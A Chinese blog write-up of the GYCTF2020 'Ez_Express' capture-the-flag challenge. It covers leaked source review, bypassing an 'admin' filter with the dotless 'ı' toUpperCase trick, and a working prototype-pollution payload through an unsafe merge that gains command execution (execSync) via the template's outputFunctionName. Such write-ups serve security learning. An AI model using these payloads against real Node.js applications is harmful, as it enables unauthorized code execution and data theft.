[GYCTF2020]Ez_Express 原型链污染

进入链接可以发现是一个登录界面 ,自己注册一个新账户的话登陆进去什么东西也没有,提示你要用ADMIN登录,我账户名用ADMIN的话,报错敏感信息

难道是一个烦人的注入题么,不急先扫一下站看看,发现有个www.zip压缩包泄露,将源码下载下来

可以了解到是一个js的题目,寻找一下跟登录有关的界面代码

router.post('/login', function (req, res) {
  if(req.body.Submit=="register"){
   if(safeKeyword(req.body.userid)){//对帐号进行safeKeyword函数过滤
    res.end("<script>alert('forbid word');history.go(-1);</script>") //如果账号是admin则报错
   }
    req.session.user={
      'user':req.body.userid.toUpperCase(),//将输入的userid转化为大写后存入,toUpperCase函数有个漏洞
      'passwd': req.body.pwd,
      'isLogin':false
    }
    res.redirect('/'); 
  }
  else if(req.body.Submit=="login"){
    if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}
    if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){
      req.session.user.isLogin=true;
    }
    else{
      res.end("<script>alert('error passwd');history.go(-1);</script>")
    }
  
  }
  res.redirect('/'); ;
});

 由第二个if语句可以看到经过了一个safeKeyword函数进行过滤,我们去找一下

function safeKeyword(keyword) {
  if(keyword.match(/(admin)/is)) {//如果输入的admin,则返回keyword通过if语句
      return keyword
  }

  return undefined
}

对传来的账户进行过滤,如果账户是admin会返回keyword,从而输出forbid word;奇怪的就是我们要ADMIN登录,但是又过滤admin这个账户,奇了怪了,但是这种情况一般会有一个函数漏洞什么的

  req.session.user={
      'user':req.body.userid.toUpperCase(),
      'passwd': req.body.pwd,
      'isLogin':false
    }

可以看到我们注册是将userid进行大写化toUpperCase再存入user中,这个地方漏洞就是toUpperCase函数了Fuzz中的javascript大小写特性 | 离别歌

"ı".toUpperCase() == 'I'
"ſ".toUpperCase() == 'S'
这是JS中可以利用的地方,我们可以用"ı"进行转化为大写I来构造成ADMIN
"admı​​​​​​​n".toUpperCase()=='ADMIN'

可以发现我们注册成功并登录,提示我们flag在/flag中,估计是利用系统命令啥的了,提交框框看一下url 

action处,我们便寻找源码瞅瞅 

router.post('/action', function (req, res) {
  if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")} //用户名必须是ADMIN
  req.session.user.data = clone(req.body);//触发原型链污染
  res.end("<script>alert('success');history.go(-1);</script>");  
});
router.get('/info', function (req, res) {
  res.render('index',data={'user':res.outputFunctionName});
})

找action的时候无意中看到了info,有一个render渲染函数data={'user':res.outputFunctionName},应该要利用这里将flag渲染出来,但是这里我不知道考啥,没接触过,便看看大佬的WP,知道了这里考的是js原型链的污染js原型链污染(超详细)_l_abour的博客-CSDN博客_javascript原型链污染

具体可以看这位大佬的wp,下面是我的理解。

对象.__proto__=构造函数.prototype

prototype是一个类的属性,所有类对象在实例化的时候将会拥有prototype中的属性和方法,一个对象的__proto__属性,指向这个对象所在的类的prototype属性(借用别人图一用)

 

Son类继承了Father类的last_name属性,最后输出的是Name: Melania Trump。

(这里的继承机制是主动继承,也就是子类可以选择主动去继承父类,和php中的extends是一样的,子类extends父类)

其实就像是继承一样,在son中寻找一个属性,如果没找到,就返回上一级son.__proto__,如果还没有就继续返回son.__proto__.__proto__因此形成了一条链

既然prototype是所有类在实例化的时候都会拥有的属性和方法,我们是不是可以设想通过一个类的prototype来给其他的类附加属性和方法

这样就造成了原型链的污染 :在一个应用中,如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是原型链污染。

回到题目

router.post('/action', function (req, res) {
  if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")} //用户名必须是ADMIN
  req.session.user.data = clone(req.body);//触发原型链污染
  res.end("<script>alert('success');history.go(-1);</script>");  
});
router.get('/info', function (req, res) {
  res.render('index',data={'user':res.outputFunctionName});
})

由clone函数

const merge = (a, b) => {
  for (var attr in b) {
    if (isObject(a[attr]) && isObject(b[attr])) {
      merge(a[attr], b[attr]);
    } else {
      a[attr] = b[attr];
    }
  }
  return a
}
const clone = (a) => {
  return merge({}, a);
}

可以看到就是wp主讲的情况,将两个对象内容和在一起,非常容易遭受污染

 

可以看到info界面的渲染有一个outputFunctionName,我们只需要构造一个json类型的字符串将proto当作键,将恶意代码传输进去,使用wp主的payload

{"__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag');//"}}

 因为告诉了我们flag在/flag里面了,因此就不用bash移到虚拟机上去了,多麻烦

因为我们上传的是一个json格式的数据,因此记得将Conten—Type改成json类型的

post请求几种常见content-type类型_henry_rhy的博客-CSDN博客_post请求的content-type 

最开始我上传的时候我看颜色不对想起要+代替空格,但是会报错,似乎是不支持+代替空格,用下划线也不行,最后就这样直接上传却成功了,可能是json格式这个地方帮助了我吧

上传成功后因为渲染函数是在info里面,因此我们还要进入info界面,一进去可以获得一个下载文件,flag就在里面。

又长知识了,js的原型链污染,加油加油,篮球训练去了

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值